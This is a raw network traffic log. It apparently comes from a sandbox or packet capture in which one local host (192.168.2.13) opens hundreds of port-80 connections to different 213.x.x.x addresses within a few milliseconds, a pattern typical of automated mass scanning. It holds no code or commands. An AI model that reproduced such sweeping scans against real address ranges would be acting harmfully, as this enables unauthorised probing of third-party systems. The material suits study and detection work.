Mar 21, 2024 05:16:56.457525969 CET	45394	80	192.168.2.13	213.72.233.242
Mar 21, 2024 05:16:56.457526922 CET	45394	80	192.168.2.13	213.135.122.225
Mar 21, 2024 05:16:56.457528114 CET	45394	80	192.168.2.13	213.151.95.39
Mar 21, 2024 05:16:56.457528114 CET	45394	80	192.168.2.13	213.198.182.169
Mar 21, 2024 05:16:56.457544088 CET	45394	80	192.168.2.13	213.30.254.4
Mar 21, 2024 05:16:56.457555056 CET	45394	80	192.168.2.13	213.20.210.240
Mar 21, 2024 05:16:56.457568884 CET	45394	80	192.168.2.13	213.30.243.103
Mar 21, 2024 05:16:56.457586050 CET	45394	80	192.168.2.13	213.89.239.36
Mar 21, 2024 05:16:56.457598925 CET	45394	80	192.168.2.13	213.105.98.56
Mar 21, 2024 05:16:56.457616091 CET	45394	80	192.168.2.13	213.177.187.241
Mar 21, 2024 05:16:56.457632065 CET	45394	80	192.168.2.13	213.193.135.77
Mar 21, 2024 05:16:56.457638025 CET	45394	80	192.168.2.13	213.27.183.252
Mar 21, 2024 05:16:56.457647085 CET	45394	80	192.168.2.13	213.144.166.84
Mar 21, 2024 05:16:56.457654953 CET	45394	80	192.168.2.13	213.4.59.85
Mar 21, 2024 05:16:56.457662106 CET	45394	80	192.168.2.13	213.231.153.191
Mar 21, 2024 05:16:56.457736969 CET	45394	80	192.168.2.13	213.21.156.120
Mar 21, 2024 05:16:56.457743883 CET	45394	80	192.168.2.13	213.239.40.146
Mar 21, 2024 05:16:56.457746983 CET	45394	80	192.168.2.13	213.15.232.91
Mar 21, 2024 05:16:56.457746983 CET	45394	80	192.168.2.13	213.46.141.43
Mar 21, 2024 05:16:56.457747936 CET	45394	80	192.168.2.13	213.85.249.17
Mar 21, 2024 05:16:56.457747936 CET	45394	80	192.168.2.13	213.204.125.109
Mar 21, 2024 05:16:56.457765102 CET	45394	80	192.168.2.13	213.206.92.133
Mar 21, 2024 05:16:56.457767963 CET	45394	80	192.168.2.13	213.223.187.155
Mar 21, 2024 05:16:56.457782984 CET	45394	80	192.168.2.13	213.238.100.10
Mar 21, 2024 05:16:56.457794905 CET	45394	80	192.168.2.13	213.207.173.177
Mar 21, 2024 05:16:56.457807064 CET	45394	80	192.168.2.13	213.49.200.85
Mar 21, 2024 05:16:56.457807064 CET	45394	80	192.168.2.13	213.145.142.1
Mar 21, 2024 05:16:56.457807064 CET	45394	80	192.168.2.13	213.219.10.243
Mar 21, 2024 05:16:56.457822084 CET	45394	80	192.168.2.13	213.62.111.180
Mar 21, 2024 05:16:56.457835913 CET	45394	80	192.168.2.13	213.145.183.250
Mar 21, 2024 05:16:56.457839966 CET	45394	80	192.168.2.13	213.45.15.121
Mar 21, 2024 05:16:56.457859039 CET	45394	80	192.168.2.13	213.228.79.198
Mar 21, 2024 05:16:56.457870960 CET	45394	80	192.168.2.13	213.63.187.157
Mar 21, 2024 05:16:56.457876921 CET	45394	80	192.168.2.13	213.247.177.157
Mar 21, 2024 05:16:56.457921028 CET	45394	80	192.168.2.13	213.43.41.86
Mar 21, 2024 05:16:56.457921028 CET	45394	80	192.168.2.13	213.235.172.56
Mar 21, 2024 05:16:56.457976103 CET	45394	80	192.168.2.13	213.144.180.177
Mar 21, 2024 05:16:56.457983971 CET	45394	80	192.168.2.13	213.173.156.220
Mar 21, 2024 05:16:56.457983971 CET	45394	80	192.168.2.13	213.176.23.202
Mar 21, 2024 05:16:56.457983971 CET	45394	80	192.168.2.13	213.163.142.5
Mar 21, 2024 05:16:56.457984924 CET	45394	80	192.168.2.13	213.97.141.131
Mar 21, 2024 05:16:56.457984924 CET	45394	80	192.168.2.13	213.145.12.46
Mar 21, 2024 05:16:56.457984924 CET	45394	80	192.168.2.13	213.75.37.136
Mar 21, 2024 05:16:56.457987070 CET	45394	80	192.168.2.13	213.34.174.156
Mar 21, 2024 05:16:56.457994938 CET	45394	80	192.168.2.13	213.202.172.95
Mar 21, 2024 05:16:56.458018064 CET	45394	80	192.168.2.13	213.146.53.31
Mar 21, 2024 05:16:56.458029032 CET	45394	80	192.168.2.13	213.44.126.103
Mar 21, 2024 05:16:56.458041906 CET	45394	80	192.168.2.13	213.240.91.48
Mar 21, 2024 05:16:56.458062887 CET	45394	80	192.168.2.13	213.41.166.17
Mar 21, 2024 05:16:56.458080053 CET	45394	80	192.168.2.13	213.202.77.59
Mar 21, 2024 05:16:56.458080053 CET	45394	80	192.168.2.13	213.35.4.239
Mar 21, 2024 05:16:56.458101988 CET	45394	80	192.168.2.13	213.106.245.157
Mar 21, 2024 05:16:56.458115101 CET	45394	80	192.168.2.13	213.36.91.240
Mar 21, 2024 05:16:56.458126068 CET	45394	80	192.168.2.13	213.51.246.232
Mar 21, 2024 05:16:56.458143950 CET	45394	80	192.168.2.13	213.156.252.171
Mar 21, 2024 05:16:56.458158016 CET	45394	80	192.168.2.13	213.65.162.18
Mar 21, 2024 05:16:56.458177090 CET	45394	80	192.168.2.13	213.92.134.114
Mar 21, 2024 05:16:56.458183050 CET	45394	80	192.168.2.13	213.140.176.148
Mar 21, 2024 05:16:56.458220005 CET	45394	80	192.168.2.13	213.42.140.202
Mar 21, 2024 05:16:56.458223104 CET	45394	80	192.168.2.13	213.124.89.142
Mar 21, 2024 05:16:56.458225012 CET	45394	80	192.168.2.13	213.41.228.220
Mar 21, 2024 05:16:56.458231926 CET	45394	80	192.168.2.13	213.39.235.165
Mar 21, 2024 05:16:56.458237886 CET	45394	80	192.168.2.13	213.72.198.2
Mar 21, 2024 05:16:56.458257914 CET	45394	80	192.168.2.13	213.186.154.14
Mar 21, 2024 05:16:56.458264112 CET	45394	80	192.168.2.13	213.91.172.83
Mar 21, 2024 05:16:56.458290100 CET	45394	80	192.168.2.13	213.120.50.75
Mar 21, 2024 05:16:56.458295107 CET	45394	80	192.168.2.13	213.99.147.253
Mar 21, 2024 05:16:56.458302021 CET	45394	80	192.168.2.13	213.86.148.33
Mar 21, 2024 05:16:56.458317041 CET	45394	80	192.168.2.13	213.140.201.54
Mar 21, 2024 05:16:56.458328009 CET	45394	80	192.168.2.13	213.224.41.43
Mar 21, 2024 05:16:56.458357096 CET	45394	80	192.168.2.13	213.204.114.181
Mar 21, 2024 05:16:56.458430052 CET	45394	80	192.168.2.13	213.149.208.222
Mar 21, 2024 05:16:56.458431005 CET	45394	80	192.168.2.13	213.11.215.19
Mar 21, 2024 05:16:56.458440065 CET	45394	80	192.168.2.13	213.25.78.152
Mar 21, 2024 05:16:56.458441973 CET	45394	80	192.168.2.13	213.14.168.198
Mar 21, 2024 05:16:56.458451033 CET	45394	80	192.168.2.13	213.234.4.197
Mar 21, 2024 05:16:56.458453894 CET	45394	80	192.168.2.13	213.94.183.82
Mar 21, 2024 05:16:56.458453894 CET	45394	80	192.168.2.13	213.204.84.23
Mar 21, 2024 05:16:56.458481073 CET	45394	80	192.168.2.13	213.32.167.21
Mar 21, 2024 05:16:56.458487988 CET	45394	80	192.168.2.13	213.163.168.181
Mar 21, 2024 05:16:56.458487988 CET	45394	80	192.168.2.13	213.228.251.255
Mar 21, 2024 05:16:56.458487988 CET	45394	80	192.168.2.13	213.166.213.96
Mar 21, 2024 05:16:56.458487988 CET	45394	80	192.168.2.13	213.72.150.162
Mar 21, 2024 05:16:56.458489895 CET	45394	80	192.168.2.13	213.75.24.204
Mar 21, 2024 05:16:56.458507061 CET	45394	80	192.168.2.13	213.152.82.186
Mar 21, 2024 05:16:56.458508968 CET	45394	80	192.168.2.13	213.28.199.148
Mar 21, 2024 05:16:56.458530903 CET	45394	80	192.168.2.13	213.251.98.251
Mar 21, 2024 05:16:56.458549023 CET	45394	80	192.168.2.13	213.177.182.163
Mar 21, 2024 05:16:56.458559990 CET	45394	80	192.168.2.13	213.147.135.74
Mar 21, 2024 05:16:56.458630085 CET	45394	80	192.168.2.13	213.26.108.160
Mar 21, 2024 05:16:56.458630085 CET	45394	80	192.168.2.13	213.176.205.243
Mar 21, 2024 05:16:56.458630085 CET	45394	80	192.168.2.13	213.168.197.111
Mar 21, 2024 05:16:56.458630085 CET	45394	80	192.168.2.13	213.162.99.212
Mar 21, 2024 05:16:56.458637953 CET	45394	80	192.168.2.13	213.14.124.191
Mar 21, 2024 05:16:56.458637953 CET	45394	80	192.168.2.13	213.58.245.188
Mar 21, 2024 05:16:56.458638906 CET	45394	80	192.168.2.13	213.63.206.140
Mar 21, 2024 05:16:56.458638906 CET	45394	80	192.168.2.13	213.120.24.171
Mar 21, 2024 05:16:56.458657980 CET	45394	80	192.168.2.13	213.13.250.39
Mar 21, 2024 05:16:56.458671093 CET	45394	80	192.168.2.13	213.179.231.136
Mar 21, 2024 05:16:56.458694935 CET	45394	80	192.168.2.13	213.28.211.219
Mar 21, 2024 05:16:56.458695889 CET	45394	80	192.168.2.13	213.220.250.246
Mar 21, 2024 05:16:56.458730936 CET	45394	80	192.168.2.13	213.61.144.44
Mar 21, 2024 05:16:56.458730936 CET	45394	80	192.168.2.13	213.187.31.209
Mar 21, 2024 05:16:56.458734035 CET	45394	80	192.168.2.13	213.215.250.55
Mar 21, 2024 05:16:56.458741903 CET	45394	80	192.168.2.13	213.61.113.213
Mar 21, 2024 05:16:56.458811998 CET	45394	80	192.168.2.13	213.142.48.69
Mar 21, 2024 05:16:56.458822966 CET	45394	80	192.168.2.13	213.28.149.59
Mar 21, 2024 05:16:56.458825111 CET	45394	80	192.168.2.13	213.242.16.241
Mar 21, 2024 05:16:56.458825111 CET	45394	80	192.168.2.13	213.9.16.172
Mar 21, 2024 05:16:56.458832979 CET	45394	80	192.168.2.13	213.229.66.180
Mar 21, 2024 05:16:56.458842993 CET	45394	80	192.168.2.13	213.121.9.64
Mar 21, 2024 05:16:56.458844900 CET	45394	80	192.168.2.13	213.66.103.75
Mar 21, 2024 05:16:56.458847046 CET	45394	80	192.168.2.13	213.73.142.16
Mar 21, 2024 05:16:56.458848953 CET	45394	80	192.168.2.13	213.149.212.26
Mar 21, 2024 05:16:56.458853006 CET	45394	80	192.168.2.13	213.74.66.222
Mar 21, 2024 05:16:56.458868980 CET	45394	80	192.168.2.13	213.160.99.147
Mar 21, 2024 05:16:56.458882093 CET	45394	80	192.168.2.13	213.85.83.84
Mar 21, 2024 05:16:56.458888054 CET	45394	80	192.168.2.13	213.121.58.17
Mar 21, 2024 05:16:56.458899975 CET	45394	80	192.168.2.13	213.199.158.27
Mar 21, 2024 05:16:56.458914995 CET	45394	80	192.168.2.13	213.177.212.194
Mar 21, 2024 05:16:56.458926916 CET	45394	80	192.168.2.13	213.243.96.145
Mar 21, 2024 05:16:56.458992004 CET	45394	80	192.168.2.13	213.39.7.127
Mar 21, 2024 05:16:56.459000111 CET	45394	80	192.168.2.13	213.87.8.250
Mar 21, 2024 05:16:56.459000111 CET	45394	80	192.168.2.13	213.5.1.212
Mar 21, 2024 05:16:56.459002018 CET	45394	80	192.168.2.13	213.183.74.22
Mar 21, 2024 05:16:56.459016085 CET	45394	80	192.168.2.13	213.201.167.125
Mar 21, 2024 05:16:56.459026098 CET	45394	80	192.168.2.13	213.147.180.254
Mar 21, 2024 05:16:56.459042072 CET	45394	80	192.168.2.13	213.230.167.105
Mar 21, 2024 05:16:56.459043980 CET	45394	80	192.168.2.13	213.210.241.46
Mar 21, 2024 05:16:56.459045887 CET	45394	80	192.168.2.13	213.181.12.170
Mar 21, 2024 05:16:56.459063053 CET	45394	80	192.168.2.13	213.11.35.8
Mar 21, 2024 05:16:56.459065914 CET	45394	80	192.168.2.13	213.4.115.172
Mar 21, 2024 05:16:56.459084034 CET	45394	80	192.168.2.13	213.143.190.201
Mar 21, 2024 05:16:56.459099054 CET	45394	80	192.168.2.13	213.123.64.66
Mar 21, 2024 05:16:56.459110975 CET	45394	80	192.168.2.13	213.142.57.35
Mar 21, 2024 05:16:56.459121943 CET	45394	80	192.168.2.13	213.75.158.17
Mar 21, 2024 05:16:56.459147930 CET	45394	80	192.168.2.13	213.57.144.222
Mar 21, 2024 05:16:56.459183931 CET	45394	80	192.168.2.13	213.20.172.30
Mar 21, 2024 05:16:56.459207058 CET	45394	80	192.168.2.13	213.225.140.102
Mar 21, 2024 05:16:56.459207058 CET	45394	80	192.168.2.13	213.198.62.162
Mar 21, 2024 05:16:56.459219933 CET	45394	80	192.168.2.13	213.47.12.202
Mar 21, 2024 05:16:56.459223032 CET	45394	80	192.168.2.13	213.69.187.80
Mar 21, 2024 05:16:56.459223986 CET	45394	80	192.168.2.13	213.248.105.162
Mar 21, 2024 05:16:56.459252119 CET	45394	80	192.168.2.13	213.144.61.0
Mar 21, 2024 05:16:56.459281921 CET	45394	80	192.168.2.13	213.223.12.1
Mar 21, 2024 05:16:56.459284067 CET	45394	80	192.168.2.13	213.216.90.169
Mar 21, 2024 05:16:56.459286928 CET	45394	80	192.168.2.13	213.247.159.23
Mar 21, 2024 05:16:56.459295988 CET	45394	80	192.168.2.13	213.92.208.137
Mar 21, 2024 05:16:56.459335089 CET	45394	80	192.168.2.13	213.166.54.245
Mar 21, 2024 05:16:56.459335089 CET	45394	80	192.168.2.13	213.12.50.68
Mar 21, 2024 05:16:56.459351063 CET	45394	80	192.168.2.13	213.219.233.5
Mar 21, 2024 05:16:56.459362984 CET	45394	80	192.168.2.13	213.148.87.233
Mar 21, 2024 05:16:56.459369898 CET	45394	80	192.168.2.13	213.202.34.197
Mar 21, 2024 05:16:56.459369898 CET	45394	80	192.168.2.13	213.8.158.243
Mar 21, 2024 05:16:56.459369898 CET	45394	80	192.168.2.13	213.223.9.92
Mar 21, 2024 05:16:56.459369898 CET	45394	80	192.168.2.13	213.198.94.230
Mar 21, 2024 05:16:56.459382057 CET	45394	80	192.168.2.13	213.253.7.128
Mar 21, 2024 05:16:56.459389925 CET	45394	80	192.168.2.13	213.115.21.11
Mar 21, 2024 05:16:56.459410906 CET	45394	80	192.168.2.13	213.55.24.251
Mar 21, 2024 05:16:56.459418058 CET	45394	80	192.168.2.13	213.189.126.179
Mar 21, 2024 05:16:56.459439993 CET	45394	80	192.168.2.13	213.183.2.191
Mar 21, 2024 05:16:56.459454060 CET	45394	80	192.168.2.13	213.82.192.125
Mar 21, 2024 05:16:56.459480047 CET	45394	80	192.168.2.13	213.77.136.133
Mar 21, 2024 05:16:56.459549904 CET	45394	80	192.168.2.13	213.42.185.80
Mar 21, 2024 05:16:56.459553957 CET	45394	80	192.168.2.13	213.115.148.69
Mar 21, 2024 05:16:56.459556103 CET	45394	80	192.168.2.13	213.71.65.112
Mar 21, 2024 05:16:56.459589958 CET	45394	80	192.168.2.13	213.36.212.177
Mar 21, 2024 05:16:56.459592104 CET	45394	80	192.168.2.13	213.58.210.79
Mar 21, 2024 05:16:56.459595919 CET	45394	80	192.168.2.13	213.234.254.162
Mar 21, 2024 05:16:56.459595919 CET	45394	80	192.168.2.13	213.6.39.214
Mar 21, 2024 05:16:56.459595919 CET	45394	80	192.168.2.13	213.190.199.109
Mar 21, 2024 05:16:56.459625959 CET	45394	80	192.168.2.13	213.235.121.197
Mar 21, 2024 05:16:56.459625959 CET	45394	80	192.168.2.13	213.42.15.240
Mar 21, 2024 05:16:56.459625959 CET	45394	80	192.168.2.13	213.240.144.161
Mar 21, 2024 05:16:56.459638119 CET	45394	80	192.168.2.13	213.209.240.213
Mar 21, 2024 05:16:56.459686995 CET	45394	80	192.168.2.13	213.84.170.227
Mar 21, 2024 05:16:56.459702015 CET	45394	80	192.168.2.13	213.79.203.218
Mar 21, 2024 05:16:56.459702015 CET	45394	80	192.168.2.13	213.42.122.248
Mar 21, 2024 05:16:56.459712029 CET	45394	80	192.168.2.13	213.186.179.191
Mar 21, 2024 05:16:56.459733009 CET	45394	80	192.168.2.13	213.244.92.130
Mar 21, 2024 05:16:56.459733009 CET	45394	80	192.168.2.13	213.248.157.242
Mar 21, 2024 05:16:56.459733009 CET	45394	80	192.168.2.13	213.73.194.210
Mar 21, 2024 05:16:56.459744930 CET	45394	80	192.168.2.13	213.80.94.80
Mar 21, 2024 05:16:56.459748030 CET	45394	80	192.168.2.13	213.102.131.103
Mar 21, 2024 05:16:56.459758043 CET	45394	80	192.168.2.13	213.23.53.101
Mar 21, 2024 05:16:56.459798098 CET	45394	80	192.168.2.13	213.20.75.130
Mar 21, 2024 05:16:56.459806919 CET	45394	80	192.168.2.13	213.54.208.106
Mar 21, 2024 05:16:56.459806919 CET	45394	80	192.168.2.13	213.21.239.64
Mar 21, 2024 05:16:56.459826946 CET	45394	80	192.168.2.13	213.146.159.85
Mar 21, 2024 05:16:56.459845066 CET	45394	80	192.168.2.13	213.127.254.62
Mar 21, 2024 05:16:56.459867954 CET	45394	80	192.168.2.13	213.226.233.234
Mar 21, 2024 05:16:56.459943056 CET	45394	80	192.168.2.13	213.241.168.122
Mar 21, 2024 05:16:56.459944010 CET	45394	80	192.168.2.13	213.18.155.198
Mar 21, 2024 05:16:56.459947109 CET	45394	80	192.168.2.13	213.150.71.229
Mar 21, 2024 05:16:56.459952116 CET	45394	80	192.168.2.13	213.139.45.252
Mar 21, 2024 05:16:56.459953070 CET	45394	80	192.168.2.13	213.102.120.115
Mar 21, 2024 05:16:56.459954977 CET	45394	80	192.168.2.13	213.116.5.12
Mar 21, 2024 05:16:56.459954977 CET	45394	80	192.168.2.13	213.167.34.226
Mar 21, 2024 05:16:56.459956884 CET	45394	80	192.168.2.13	213.88.194.14
Mar 21, 2024 05:16:56.459956884 CET	45394	80	192.168.2.13	213.9.197.63
Mar 21, 2024 05:16:56.459956884 CET	45394	80	192.168.2.13	213.52.239.194
Mar 21, 2024 05:16:56.459990978 CET	45394	80	192.168.2.13	213.117.87.244
Mar 21, 2024 05:16:56.459990978 CET	45394	80	192.168.2.13	213.33.113.128
Mar 21, 2024 05:16:56.459990978 CET	45394	80	192.168.2.13	213.7.149.156
Mar 21, 2024 05:16:56.459996939 CET	45394	80	192.168.2.13	213.106.226.45
Mar 21, 2024 05:16:56.460019112 CET	45394	80	192.168.2.13	213.130.160.202
Mar 21, 2024 05:16:56.460031986 CET	45394	80	192.168.2.13	213.166.156.79
Mar 21, 2024 05:16:56.460052013 CET	45394	80	192.168.2.13	213.20.156.22
Mar 21, 2024 05:16:56.460093975 CET	45394	80	192.168.2.13	213.59.50.219
Mar 21, 2024 05:16:56.460093975 CET	45394	80	192.168.2.13	213.59.210.175
Mar 21, 2024 05:16:56.460093975 CET	45394	80	192.168.2.13	213.81.66.132
Mar 21, 2024 05:16:56.460097075 CET	45394	80	192.168.2.13	213.80.214.165
Mar 21, 2024 05:16:56.460108042 CET	45394	80	192.168.2.13	213.109.232.84
Mar 21, 2024 05:16:56.460110903 CET	45394	80	192.168.2.13	213.150.201.52
Mar 21, 2024 05:16:56.460112095 CET	45394	80	192.168.2.13	213.106.233.111
Mar 21, 2024 05:16:56.460112095 CET	45394	80	192.168.2.13	213.190.8.40
Mar 21, 2024 05:16:56.460160971 CET	45394	80	192.168.2.13	213.121.20.115
Mar 21, 2024 05:16:56.460171938 CET	45394	80	192.168.2.13	213.239.18.224
Mar 21, 2024 05:16:56.460200071 CET	45394	80	192.168.2.13	213.216.91.109
Mar 21, 2024 05:16:56.460202932 CET	45394	80	192.168.2.13	213.187.22.201
Mar 21, 2024 05:16:56.460207939 CET	45394	80	192.168.2.13	213.160.179.79
Mar 21, 2024 05:16:56.460207939 CET	45394	80	192.168.2.13	213.178.9.69
Mar 21, 2024 05:16:56.460248947 CET	45394	80	192.168.2.13	213.143.12.211
Mar 21, 2024 05:16:56.460252047 CET	45394	80	192.168.2.13	213.85.10.245
Mar 21, 2024 05:16:56.460252047 CET	45394	80	192.168.2.13	213.68.189.53
Mar 21, 2024 05:16:56.460267067 CET	45394	80	192.168.2.13	213.80.200.150
Mar 21, 2024 05:16:56.460289955 CET	45394	80	192.168.2.13	213.107.33.2
Mar 21, 2024 05:16:56.460290909 CET	45394	80	192.168.2.13	213.73.111.38
Mar 21, 2024 05:16:56.460299969 CET	45394	80	192.168.2.13	213.247.21.3
Mar 21, 2024 05:16:56.460309982 CET	45394	80	192.168.2.13	213.135.251.116
Mar 21, 2024 05:16:56.460319042 CET	45394	80	192.168.2.13	213.83.103.166
Mar 21, 2024 05:16:56.460341930 CET	45394	80	192.168.2.13	213.155.116.213
Mar 21, 2024 05:16:56.460366011 CET	45394	80	192.168.2.13	213.250.227.106
Mar 21, 2024 05:16:56.460370064 CET	45394	80	192.168.2.13	213.200.2.68
Mar 21, 2024 05:16:56.460390091 CET	45394	80	192.168.2.13	213.151.194.160
Mar 21, 2024 05:16:56.460390091 CET	45394	80	192.168.2.13	213.179.145.98
Mar 21, 2024 05:16:56.460418940 CET	45394	80	192.168.2.13	213.212.121.197
Mar 21, 2024 05:16:56.460418940 CET	45394	80	192.168.2.13	213.205.22.176
Mar 21, 2024 05:16:56.460462093 CET	45394	80	192.168.2.13	213.178.161.106
Mar 21, 2024 05:16:56.460463047 CET	45394	80	192.168.2.13	213.250.253.215
Mar 21, 2024 05:16:56.460463047 CET	45394	80	192.168.2.13	213.51.17.23
Mar 21, 2024 05:16:56.460463047 CET	45394	80	192.168.2.13	213.111.37.225
Mar 21, 2024 05:16:56.460470915 CET	45394	80	192.168.2.13	213.28.141.46
Mar 21, 2024 05:16:56.460478067 CET	45394	80	192.168.2.13	213.89.104.169
Mar 21, 2024 05:16:56.460489035 CET	45394	80	192.168.2.13	213.151.253.146
Mar 21, 2024 05:16:56.460500956 CET	45394	80	192.168.2.13	213.113.105.205
Mar 21, 2024 05:16:56.460516930 CET	45394	80	192.168.2.13	213.103.3.230
Mar 21, 2024 05:16:56.460540056 CET	45394	80	192.168.2.13	213.142.71.210
Mar 21, 2024 05:16:56.460557938 CET	45394	80	192.168.2.13	213.197.181.84
Mar 21, 2024 05:16:56.460561991 CET	45394	80	192.168.2.13	213.235.16.106
Mar 21, 2024 05:16:56.460568905 CET	45394	80	192.168.2.13	213.12.112.189
Mar 21, 2024 05:16:56.460585117 CET	45394	80	192.168.2.13	213.218.243.83
Mar 21, 2024 05:16:56.460593939 CET	45394	80	192.168.2.13	213.236.22.104
Mar 21, 2024 05:16:56.460617065 CET	45394	80	192.168.2.13	213.63.222.135
Mar 21, 2024 05:16:56.460618019 CET	45394	80	192.168.2.13	213.229.83.207
Mar 21, 2024 05:16:56.460644007 CET	45394	80	192.168.2.13	213.222.126.200
Mar 21, 2024 05:16:56.460655928 CET	45394	80	192.168.2.13	213.188.131.79
Mar 21, 2024 05:16:56.460671902 CET	45394	80	192.168.2.13	213.79.232.45
Mar 21, 2024 05:16:56.460700035 CET	45394	80	192.168.2.13	213.10.174.67
Mar 21, 2024 05:16:56.460705042 CET	45394	80	192.168.2.13	213.204.160.21
Mar 21, 2024 05:16:56.460705042 CET	45394	80	192.168.2.13	213.137.15.193
Mar 21, 2024 05:16:56.460725069 CET	45394	80	192.168.2.13	213.212.20.224
Mar 21, 2024 05:16:56.460725069 CET	45394	80	192.168.2.13	213.46.58.125
Mar 21, 2024 05:16:56.460753918 CET	45394	80	192.168.2.13	213.132.2.15
Mar 21, 2024 05:16:56.460753918 CET	45394	80	192.168.2.13	213.251.253.76
Mar 21, 2024 05:16:56.460767031 CET	45394	80	192.168.2.13	213.120.213.135
Mar 21, 2024 05:16:56.460774899 CET	45394	80	192.168.2.13	213.98.173.50
Mar 21, 2024 05:16:56.460794926 CET	45394	80	192.168.2.13	213.188.106.201
Mar 21, 2024 05:16:56.460803032 CET	45394	80	192.168.2.13	213.40.143.179
Mar 21, 2024 05:16:56.460814953 CET	45394	80	192.168.2.13	213.77.95.104
Mar 21, 2024 05:16:56.460832119 CET	45394	80	192.168.2.13	213.99.94.197
Mar 21, 2024 05:16:56.460833073 CET	45394	80	192.168.2.13	213.183.127.231
Mar 21, 2024 05:16:56.460860968 CET	45394	80	192.168.2.13	213.80.166.104
Mar 21, 2024 05:16:56.460938931 CET	45394	80	192.168.2.13	213.185.146.176
Mar 21, 2024 05:16:56.460953951 CET	45394	80	192.168.2.13	213.41.227.229
Mar 21, 2024 05:16:56.460954905 CET	45394	80	192.168.2.13	213.149.131.164
Mar 21, 2024 05:16:56.460958004 CET	45394	80	192.168.2.13	213.40.112.250
Mar 21, 2024 05:16:56.460980892 CET	45394	80	192.168.2.13	213.78.202.40
Mar 21, 2024 05:16:56.461019039 CET	45394	80	192.168.2.13	213.117.160.53
Mar 21, 2024 05:16:56.461019039 CET	45394	80	192.168.2.13	213.151.187.113
Mar 21, 2024 05:16:56.461019039 CET	45394	80	192.168.2.13	213.114.20.68
Mar 21, 2024 05:16:56.461016893 CET	45394	80	192.168.2.13	213.173.34.250
Mar 21, 2024 05:16:56.461055994 CET	45394	80	192.168.2.13	213.5.151.2
Mar 21, 2024 05:16:56.461072922 CET	45394	80	192.168.2.13	213.130.136.124
Mar 21, 2024 05:16:56.461072922 CET	45394	80	192.168.2.13	213.114.154.119
Mar 21, 2024 05:16:56.461081028 CET	45394	80	192.168.2.13	213.121.228.10
Mar 21, 2024 05:16:56.461081028 CET	45394	80	192.168.2.13	213.58.131.7
Mar 21, 2024 05:16:56.461082935 CET	45394	80	192.168.2.13	213.132.19.251
Mar 21, 2024 05:16:56.461086988 CET	45394	80	192.168.2.13	213.64.19.147
Mar 21, 2024 05:16:56.461086988 CET	45394	80	192.168.2.13	213.200.252.163
Mar 21, 2024 05:16:56.461172104 CET	45394	80	192.168.2.13	213.2.15.128
Mar 21, 2024 05:16:56.461199999 CET	45394	80	192.168.2.13	213.253.152.79
Mar 21, 2024 05:16:56.461199999 CET	45394	80	192.168.2.13	213.156.87.238
Mar 21, 2024 05:16:56.461199999 CET	45394	80	192.168.2.13	213.250.153.248
Mar 21, 2024 05:16:56.461203098 CET	45394	80	192.168.2.13	213.86.132.78
Mar 21, 2024 05:16:56.461203098 CET	45394	80	192.168.2.13	213.71.97.29
Mar 21, 2024 05:16:56.461203098 CET	45394	80	192.168.2.13	213.30.66.160
Mar 21, 2024 05:16:56.461210966 CET	45394	80	192.168.2.13	213.90.46.50
Mar 21, 2024 05:16:56.461210966 CET	45394	80	192.168.2.13	213.130.98.207
Mar 21, 2024 05:16:56.461261034 CET	45394	80	192.168.2.13	213.170.70.129
Mar 21, 2024 05:16:56.461261034 CET	45394	80	192.168.2.13	213.208.214.89
Mar 21, 2024 05:16:56.461261988 CET	45394	80	192.168.2.13	213.206.97.161
Mar 21, 2024 05:16:56.461286068 CET	45394	80	192.168.2.13	213.230.214.63
Mar 21, 2024 05:16:56.461286068 CET	45394	80	192.168.2.13	213.206.104.178
Mar 21, 2024 05:16:56.461293936 CET	45394	80	192.168.2.13	213.235.104.175
Mar 21, 2024 05:16:56.461293936 CET	45394	80	192.168.2.13	213.196.6.242
Mar 21, 2024 05:16:56.461303949 CET	45394	80	192.168.2.13	213.145.100.182
Mar 21, 2024 05:16:56.461347103 CET	45394	80	192.168.2.13	213.69.147.164
Mar 21, 2024 05:16:56.461350918 CET	45394	80	192.168.2.13	213.61.179.236
Mar 21, 2024 05:16:56.461364031 CET	45394	80	192.168.2.13	213.109.164.205
Mar 21, 2024 05:16:56.461388111 CET	45394	80	192.168.2.13	213.144.39.42
Mar 21, 2024 05:16:56.461410046 CET	45394	80	192.168.2.13	213.77.87.193
Mar 21, 2024 05:16:56.461409092 CET	45394	80	192.168.2.13	213.217.90.155
Mar 21, 2024 05:16:56.461422920 CET	45394	80	192.168.2.13	213.61.173.86
Mar 21, 2024 05:16:56.461422920 CET	45394	80	192.168.2.13	213.119.157.12
Mar 21, 2024 05:16:56.461445093 CET	45394	80	192.168.2.13	213.241.166.124
Mar 21, 2024 05:16:56.461445093 CET	45394	80	192.168.2.13	213.179.250.47
Mar 21, 2024 05:16:56.461461067 CET	45394	80	192.168.2.13	213.39.98.39
Mar 21, 2024 05:16:56.461479902 CET	45394	80	192.168.2.13	213.108.25.194
Mar 21, 2024 05:16:56.461489916 CET	45394	80	192.168.2.13	213.216.71.47
Mar 21, 2024 05:16:56.461493015 CET	45394	80	192.168.2.13	213.64.207.112
Mar 21, 2024 05:16:56.461498976 CET	45394	80	192.168.2.13	213.79.210.228
Mar 21, 2024 05:16:56.461498022 CET	45394	80	192.168.2.13	213.26.59.117
Mar 21, 2024 05:16:56.461498976 CET	45394	80	192.168.2.13	213.40.92.173
Mar 21, 2024 05:16:56.461524010 CET	45394	80	192.168.2.13	213.139.220.217
Mar 21, 2024 05:16:56.461556911 CET	45394	80	192.168.2.13	213.53.20.59
Mar 21, 2024 05:16:56.461564064 CET	45394	80	192.168.2.13	213.230.41.22
Mar 21, 2024 05:16:56.461576939 CET	45394	80	192.168.2.13	213.48.57.199
Mar 21, 2024 05:16:56.461565971 CET	45394	80	192.168.2.13	213.63.122.96
Mar 21, 2024 05:16:56.461590052 CET	45394	80	192.168.2.13	213.91.82.168
Mar 21, 2024 05:16:56.461616993 CET	45394	80	192.168.2.13	213.139.234.5
Mar 21, 2024 05:16:56.461620092 CET	45394	80	192.168.2.13	213.44.64.164
Mar 21, 2024 05:16:56.461620092 CET	45394	80	192.168.2.13	213.183.202.149
Mar 21, 2024 05:16:56.461620092 CET	45394	80	192.168.2.13	213.252.240.103
Mar 21, 2024 05:16:56.461627960 CET	45394	80	192.168.2.13	213.151.146.163
Mar 21, 2024 05:16:56.461658001 CET	45394	80	192.168.2.13	213.72.193.202
Mar 21, 2024 05:16:56.461668015 CET	45394	80	192.168.2.13	213.250.76.182
Mar 21, 2024 05:16:56.461668968 CET	45394	80	192.168.2.13	213.8.25.123
Mar 21, 2024 05:16:56.461695910 CET	45394	80	192.168.2.13	213.104.202.10
Mar 21, 2024 05:16:56.461754084 CET	45394	80	192.168.2.13	213.141.204.222
